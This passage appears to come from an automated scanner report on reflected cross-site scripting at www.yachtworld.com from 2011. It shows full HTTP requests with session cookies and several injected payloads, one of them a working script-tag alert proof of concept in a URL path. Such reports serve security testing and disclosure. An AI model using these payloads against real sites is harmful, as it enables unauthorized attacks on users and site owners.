s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:52:05 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a6e15"><script>alert(1)</script>83362fb7d64 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/category/typea6e15"><script>alert(1)</script>83362fb7d64/Cabo/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:52:35 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2272c"><a>415fc3111c2 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/type/Cabo2272c"><a>415fc3111c2/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:52:37 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5d10a"><a>b2fb296d293 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/type/Cabo/15d10a"><a>b2fb296d293 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:52:44 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5e710"><a>a7261d76f33 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/type5e710"><a>a7261d76f33/Cape+Dory/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:52:39 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 354c6"><a>aa06a1464bd was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/type/Cape+Dory354c6"><a>aa06a1464bd/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:52:48 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ca4fa"><a>2abff94b915 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
